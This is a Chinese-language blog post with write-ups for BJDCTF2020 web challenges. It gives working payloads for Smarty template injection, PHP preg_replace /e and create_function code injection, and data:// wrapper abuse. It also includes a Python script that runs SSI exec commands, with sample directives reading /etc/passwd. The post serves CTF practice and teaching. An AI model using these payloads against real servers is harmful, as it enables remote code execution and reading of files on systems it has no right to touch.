3rsh1
/single dog/college student/ctfer
3rsh1's Blog

[BJDCTF2020]wp

准备刷一遍BJDCTF2020的题目,因为难度也不高,就当练手了。

The mystery of ip

模板注入的一道题目,拿到题目之后发现有三个文件:flag.php index.php hint.php

flag.php中会显示ip地址,hint.php中给出了提示:<!-- Do you know why i know your ip? -->,猜测可能是根据请求头的某一项判断的,因此设置XFF头看一下,发现果然如此。

然后整理一下所拥有的资源,index.php中无利用的地方,hint.php中无利用的地方,flag.php可以根据XFF头显示ip地址,无文件上传点,包含点,注入点等。那就是在XFF头处入手,排除了命令执行,各种符号fuzz一下看看是不是sql注入,发现{}时候会报错,并且报错信息中出现smarty,猜测是模板注入。因为之前也整理过flask模板注入的内容,倒是没有想到会出现smarty模板注入。这里补充一下知识:

https://www.3rsh1.cool/index.php/2020/08/03/ssti_mo_ban_zhu_ru_qian_xi_ji_rao_guo_zong_jie_2/

直接读取flag:

{system("cat /flag")}
https://3rsh1.oss-cn-beijing.aliyuncs.com/20200804124611.png

ZJCTF,不过如此

https://3rsh1.oss-cn-beijing.aliyuncs.com/20200804133815.png
涉及到了几个之前的知识点,即php伪协议的使用和preg_replace命令执行。

data://伪协议

条件:

allow_url_fopen:on
allow_url_include:on

作用:

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

用法:

data://text/plain;base64,SSBsb3ZlIFBIUAo=
data://text/plain,<?php echo 123;>

preg_replace命令执行

function complex(re,str) {
    return preg_replace(
        '/(' . re . ')/ei',
        'strtolower("\\1")',str
    );
}
foreach(_GET asre => str) {
    echo complex(re, $str). "\n";
}

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

官方 payload 为: /?.*={{phpinfo()}} ,即GET方式传入的参数名为.* ,值为 {{phpinfo()}} 。

这里的strtolower("\\1")中的\1即为第一个子匹配项,即{${phpinfo()}},若是单纯的phpinfo()当执行strtolow()之后并不会执行被匹配到\1中的phpinfo(),因为这时的我们执行的命令只是单纯的字符串而已。但是若是${phpinfo()},那么因为双引号会默认解析字符串中的变量,而${...}类似于$a,会先执行大括号内的函数。

${'a'.'a'}=123;
echo $aa;   //123

因此phpinfo()函数会被执行。

strtolow("\\1") => strtolow("{phpinfo()}") => strtolow("1") => null
https://www.3rsh1.cool/wp-content/uploads/2021/01/wp_editor_md_e1e7087680b9171350f062774ffc84fa.jpg

解法:

hackbar演我。

真是奇了个怪了,hackbar的post值不加参数是不会被传过去的。若是加了参数,传递过去的内容中空格被换成了加号。

payload:

http://fb68a010-5fa8-4761-a2e1-69d4c03c93f4.node3.buuoj.cn/index.php?text=data://text/plain,I%20have%20a%20dream&file=next.php&\S*=${getFlag()}&cmd=system("cat /flag");
https://3rsh1.oss-cn-beijing.aliyuncs.com/20200804141400.png

参考链接:

https://xz.aliyun.com/t/2557
https://segmentfault.com/a/1190000018991087

ezphp

下了三局棋,然后三局速八。心态崩了,还是来写写东西吧。

涉及到的考点很多,也很杂,但是每个小考点的难度并不高。所以只分析一下知识点:

QUERY_STRING的一个小特性

QUERY_STRING获取的是最原始的输入,且不会进行url编码。

官方解释:
'QUERY_STRING'
query string(查询字符串),如果有的话,通过它进行页面访问。

例子:

http://3rsh1.cool?a=123&c=1234%23
$_SERVER['QUERY_STRING']:a=123&c=1234%23
获取的就是?后面的字符串。

url编码,主要是为了防止一些字符如& = ?等对url产生影响而进行的编码。也就是说你编码之后的内容要金量使他尽可能的可以被人眼看出来参数之间的分割。

比如说:

%7a%75%69=%79%31%6e%67  //这里的等号如果编码了的话,我们就无法判断参数和值的分隔了

1.将空格转换为加号(+)

2.对0-9、a-z、A-Z之间的字符保持不变

3.对于所有其他的字符,用这个字符的当前当前字符集编码在内存中的十六进制格式表示,并在每一个字节前加上一个百分号(%),如字符“+”是用%2B表示,字符“=”用%3D表示,字符“&”用%26表示,每个中文字符在内存中占两个字节,字符“中”用%D6%D0表示,字符“国”用%B9%FA表示。

4.空格也可以直接用其十六进制编码方式,即用%20表示,而不是将它转换为加号(+)。

ps:如果url串中的特殊字符可能会产生歧义或冲突,则必须对这些特殊字符进行url编码。

其实这里如果对字符进行编码也是没有问题的,形式为% + 字符ascii码值。大部分时候将参数和值进行编码涉及到格式的特殊字符可以保留,但是影响整个url解析的字符要进行编码。

%0a绕过正则

if (preg_match('/^y1ngzuishuai/',_GET['zuishuai']) && _GET['zuishuai'] !== 'y1ngzuishuai') {file = $_GET["file"]; 
        echo "Yes! You know that I zuishuai!<br>";
} 

这里的/^y1ngzuishuai$/模式的匹配可以用y1ngzuishuai%0a绕过,等到有机会再撕源码吧。个人理解是,%0a使得字符串末尾的匹配不成功,但是,$_GET并不认为换行起作用。所以正则中认为两者是不等,比较中是认为两者相等的。

$_REQUEST数组中get和post的优先级

默认情况下包含了$_GET,$_POST,$_COOKIE的数组。

即包含了get和post传递的参数和对应的值,那么如果post传递的参数和get传递的参数相同,那么该如何取舍呢?

<?php
    var_dump($_REQUEST);
https://3rsh1.oss-cn-beijing.aliyuncs.com/20200806223706.png

可以看到这里get传递的是a=123,post传递的是a=456。但是最后的$_REQUEST数中是只有post传递的值的,说明post传递的值优先级更高一些。

其实这个优先级是由php的配置文件决定的,在php.ini中:

; This directive determines which super global arrays are registered when PHP
; starts up. G,P,C,E & S are abbreviations for the following respective super
; globals: GET, POST, COOKIE, ENV and SERVER. There is a performance penalty
; paid for the registration of these arrays and because ENV is not as commonly
; used as the others, ENV is not recommended on productions servers. You
; can still get access to the environment variables through getenv() should you
; need to.
; Default Value: "EGPCS"
; Development Value: "GPCS"
; Production Value: "GPCS";
; http://php.net/variables-order
variables_order = "GPCS"
GET<POST<COOKIE<SERVER

; This directive determines which super global data (G,P & C) should be
; registered into the super global array REQUEST. If so, it also determines
; the order in which that data is registered. The values for this directive
; are specified in the same manner as the variables_order directive,
; EXCEPT one. Leaving this value empty will cause PHP to use the value set
; in the variables_order directive. It does not mean it will leave the super
; globals array REQUEST empty.
; Default Value: None
; Development Value: "GP"
; Production Value: "GP"
; http://php.net/request-order
request_order = "GP"
POST>GET

create_function代码注入

create_function ( string args , stringcode ) : string

第一个参数是新建的函数中传入的变量,第二个是新建函数中的代码。

create_function — Create an anonymous (lambda-style) function,

Creates an anonymous function from the parameters passed, and returns a unique name for it. (函数返回就是新建函数的名称)

Returns a unique function name as a string, or FALSE on error.

这里创建的函数其实还是蛮神奇的:

$c=create_function('$a,$b','return $a+$b;');
echo $c(1,2);   //3

这里创建的函数的完全形态应该是:
function myfun1($a,$b){
    return $a+$b; 
}

再看一下下面的这个例子:

$d="echo 1;}system('whoami');//";
$c=create_function('',$d);
echo $c();  //root/root

完全体为:
function myfunc1(){
    echo 1;}system("whoami");//
}

这样system函数就逃离出了函数体,变成了一个全局函数。

补充:个人理解这里的注入产生的主要原因就是在create_function的代码段部分进行了变量的拼接,从而导致的是字符串中变量的解析,导致我们要执行的代码段是完全可以控制的,所以可以进行注释闭合等一些操作。再举个例子:

$c=create_function('$a,$b',"$a+$b".'==($a+$b);');
$c(1,2);
等价于:
function myfun1($a,$b){
    "$a+$b"==1+2; 
}

这里若是对$a和$b做些修改的话,
$a='echo $a+$b;}system("whoami");//';
$b="";
最后输出的结果是 3 fatherspc\momaek

可以看到我们的命令是执行了的,若是将$a$b的值作为函数的参数传入是不起作用的,因为这个时候我们要执行的恶意代码被转化成了字符串。而真正起作用的是对代码段的拼接。

ezsearch

脚本如下:

import requests
url="http://d0291a99-d984-4fc6-81e3-fe3a261a64dc.node3.buuoj.cn/index.php"
while True:
    cmd=input(">")
    while cmd!=" ":
        data={"password":2020666,"username":"<!--#exec cmd='{:s}'-->".format(cmd)}
        res1=requests.post(url,data=data)
        url1="http://d0291a99-d984-4fc6-81e3-fe3a261a64dc.node3.buuoj.cn/"+res1.headers['Url_is_here']
        # print(url1)
        print(requests.get(url1).text.split("<h1>")[1].split("</h1>")[0][6:])
        cmd=" "

直接运行然后输命令即可。

这道题目设计的知识点是MD5的爆破,还有就是ssi注入,即服务端包含注入。第一个知识点之前接触过,这里就不再论述,第二个知识点没有了解过,这里做一下记录:

SSI(Server Side Include)使用在HTML中,用于在请求内容返回到客户端前执行页面中的SSI命令,生成动态内容。通常用于多个页面引用公共的内容模块,将此模块分离出来,使用SSI引入即可。 主要用来执行HTML中的动态指令,毕竟HTML是一个静态页面。若在网站目录中发现了.stm .shtm .shtml等,且对应SSI输入没有过滤该网站可能存在SSI注入漏洞。

SSI的语法有点像HTML注释,所以如果SSI不能识别,那么将被视作HTML注释处理。SSI的语法功能主要包括:变量的设置/获取,文件的引用,可执行命令,条件表达式等。

下面列出部分指令:

显示服务器端环境变量<#echo>

本文档名称:
<!--#echo var="DOCUMENT_NAME"–>
现在时间:
<!--#echo var="DATE_LOCAL"–>
显示IP地址:
<!--#echo var="REMOTE_ADDR"–>

将文本内容直接插入到文档中<#include>

<!--#include file="文件名称"–>
<!--#include virtual="index.html" -->
<!--#include virtual="文件名称"–>
<!--#include virtual="/www/footer.html" -->

file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径。

直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

<!--#exec cmd="文件名称"–>
<!--#exec cmd="cat /etc/passwd"-->
<!--#exec cgi="文件名称"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>

发表评论

textsms
account_circle
email

3rsh1's Blog

[BJDCTF2020]wp
准备刷一遍BJDCTF2020的题目,因为难度也不高,就当练手了。 The mystery of ip 模板注入的一道题目,拿到题目之后发现有三个文件:flag.php index.php hint.php。 flag.php中会显示i…
扫描二维码继续阅读
2020-08-07